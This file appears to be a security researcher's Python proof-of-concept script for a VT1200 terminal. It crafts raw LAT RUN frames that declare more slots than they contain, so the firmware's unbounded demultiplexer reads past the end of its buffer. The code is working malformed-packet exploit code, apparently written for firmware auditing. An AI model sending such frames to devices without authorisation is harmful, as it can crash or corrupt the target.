mirror of
https://git.k-space.ee/arti/vt1200.git
synced 2026-10-30 12:03:54 +02:00
162 lines
5.8 KiB
Python
162 lines
5.8 KiB
Python
#!/usr/bin/env python3
|
|
"""Craft and send LAT frames at the VT1200 to exercise the receive path.
|
|
|
|
Finding A (see ../notes/lat-receive-audit.md): the firmware's demultiplexer at
|
|
0x16C44 walks `nbr_slots` (LAT header byte 1) slots with **no length bound** —
|
|
its only exit is `index >= nbr_slots`, and the slot advance comes from the
|
|
per-slot `byte_count` (LAT slot byte 2). So a RUN message can declare more
|
|
slots (and/or bigger byte counts) than the frame actually carries, and the
|
|
firmware will keep walking past the end of the received buffer, acting on
|
|
whatever it finds.
|
|
|
|
Wire layout (confirmed from lat/local/vt-session.pcap + packet-lat.c):
|
|
|
|
Eth: dst(6) src(6) ethertype(0x6004)
|
|
LAT+0 flags/type (master=0x02, message type = byte >> 2)
|
|
LAT+1 nbr_slots
|
|
LAT+2 dst circuit id (LE16)
|
|
LAT+4 src circuit id (LE16)
|
|
LAT+6 msg sequence
|
|
LAT+7 msg acknowledgment
|
|
LAT+8 dst slot id
|
|
LAT+9 src slot id
|
|
LAT+10 slot byte count
|
|
LAT+11 credits(hi nibble) | slot type(lo nibble)
|
|
LAT+12 slot data (byte_count bytes)
|
|
... next slot
|
|
|
|
Usage:
|
|
sudo python3 lat_probe.py --nbr-slots 255 --dry-run
|
|
sudo python3 lat_probe.py --nbr-slots 255 --count 5
|
|
"""
|
|
import argparse
|
|
import socket
|
|
import struct
|
|
import sys
|
|
|
|
ETHERTYPE_LAT = 0x6004
|
|
MASTER = 0x02
|
|
MSG_RUN = 0
|
|
|
|
SLOT_DATA_A = 0x0
|
|
SLOT_START = 0x9
|
|
SLOT_STOP = 0xA
|
|
|
|
VT1200_MAC = "08:00:2b:16:4b:5a"
|
|
|
|
|
|
def mac_bytes(s):
|
|
return bytes(int(x, 16) for x in s.split(":"))
|
|
|
|
|
|
def build_run(dst_mac, src_mac, nbr_slots, slots,
|
|
dst_cir=0x0001, src_cir=0x5460, seq=0, ack=0):
|
|
"""Build an Ethernet+LAT RUN frame.
|
|
|
|
`slots` is a list of (dst_slot, src_slot, byte_count, credits, slot_type, data).
|
|
`nbr_slots` is written verbatim — set it larger than len(slots) to exercise
|
|
the unbounded demultiplexer.
|
|
"""
|
|
lat = bytearray()
|
|
lat.append(MASTER | (MSG_RUN << 2))
|
|
lat.append(nbr_slots & 0xFF)
|
|
lat += struct.pack("<H", dst_cir & 0xFFFF)
|
|
lat += struct.pack("<H", src_cir & 0xFFFF)
|
|
lat.append(seq & 0xFF)
|
|
lat.append(ack & 0xFF)
|
|
for (ds, ss, bc, cr, st, data) in slots:
|
|
lat.append(ds & 0xFF)
|
|
lat.append(ss & 0xFF)
|
|
lat.append(bc & 0xFF)
|
|
lat.append(((cr & 0xF) << 4) | (st & 0xF))
|
|
lat += data
|
|
|
|
frame = bytearray()
|
|
frame += mac_bytes(dst_mac)
|
|
frame += mac_bytes(src_mac)
|
|
frame += struct.pack(">H", ETHERTYPE_LAT)
|
|
frame += lat
|
|
if len(frame) < 60: # Ethernet minimum
|
|
frame += b"\x00" * (60 - len(frame))
|
|
return bytes(frame)
|
|
|
|
|
|
def parse_frame(frame):
|
|
"""Inverse of build_run, for tests and for reading captures."""
|
|
assert struct.unpack_from(">H", frame, 12)[0] == ETHERTYPE_LAT
|
|
lat = frame[14:]
|
|
out = {
|
|
"flags": lat[0],
|
|
"type": lat[0] >> 2,
|
|
"master": bool(lat[0] & MASTER),
|
|
"nbr_slots": lat[1],
|
|
"dst_cir": struct.unpack_from("<H", lat, 2)[0],
|
|
"src_cir": struct.unpack_from("<H", lat, 4)[0],
|
|
"seq": lat[6],
|
|
"ack": lat[7],
|
|
"slots": [],
|
|
}
|
|
off = 8
|
|
for _ in range(lat[1]):
|
|
if off + 4 > len(lat):
|
|
break
|
|
ds, ss, bc, ct = lat[off], lat[off + 1], lat[off + 2], lat[off + 3]
|
|
out["slots"].append((ds, ss, bc, ct >> 4, ct & 0xF,
|
|
bytes(lat[off + 4:off + 4 + bc])))
|
|
off += 4 + bc
|
|
return out
|
|
|
|
|
|
def send(frame, iface):
|
|
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETHERTYPE_LAT))
|
|
s.bind((iface, 0))
|
|
s.send(frame)
|
|
s.close()
|
|
|
|
|
|
def main(argv=None):
|
|
ap = argparse.ArgumentParser(description=__doc__,
|
|
formatter_class=argparse.RawDescriptionHelpFormatter)
|
|
ap.add_argument("--dst", default=VT1200_MAC, help="target MAC (the VT1200)")
|
|
ap.add_argument("--src", default="2c:16:db:a0:e7:b1", help="source MAC (this host)")
|
|
ap.add_argument("--iface", default="enp197s0f3u1")
|
|
ap.add_argument("--nbr-slots", type=lambda s: int(s, 0), default=255,
|
|
help="value written to the header nbr_slots (default 255)")
|
|
ap.add_argument("--byte-count", type=lambda s: int(s, 0), default=4,
|
|
help="byte_count for the single real slot (default 4)")
|
|
ap.add_argument("--slot-type", type=lambda s: int(s, 0), default=SLOT_DATA_A,
|
|
help="slot type for the real slot (0=Data_a)")
|
|
ap.add_argument("--data", default="41414141", help="slot data, hex")
|
|
ap.add_argument("--count", type=int, default=1, help="send N frames")
|
|
ap.add_argument("--dst-cir", type=lambda s: int(s, 0), default=0x0001,
|
|
help="destination circuit id (from the live capture)")
|
|
ap.add_argument("--src-cir", type=lambda s: int(s, 0), default=0x5460,
|
|
help="source circuit id (from the live capture)")
|
|
ap.add_argument("--seq", type=lambda s: int(s, 0), default=0)
|
|
ap.add_argument("--ack", type=lambda s: int(s, 0), default=0)
|
|
ap.add_argument("--dry-run", action="store_true", help="print, do not send")
|
|
args = ap.parse_args(argv)
|
|
|
|
real_slots = [(1, 1, args.byte_count, 0, args.slot_type, bytes.fromhex(args.data))]
|
|
frame = build_run(args.dst, args.src, args.nbr_slots, real_slots,
|
|
dst_cir=args.dst_cir, src_cir=args.src_cir,
|
|
seq=args.seq, ack=args.ack)
|
|
|
|
print(f"frame: {len(frame)} bytes; nbr_slots={args.nbr_slots} "
|
|
f"but only {len(real_slots)} slot(s) present "
|
|
f"({args.byte_count} data bytes) -> demux walks "
|
|
f"{args.nbr_slots - len(real_slots)} past the end")
|
|
print(" " + frame[14:14 + 32].hex(" "))
|
|
|
|
if args.dry_run:
|
|
print("(dry run: not sent)")
|
|
return 0
|
|
for i in range(args.count):
|
|
send(frame, args.iface)
|
|
print(f" sent {i + 1}/{args.count}")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|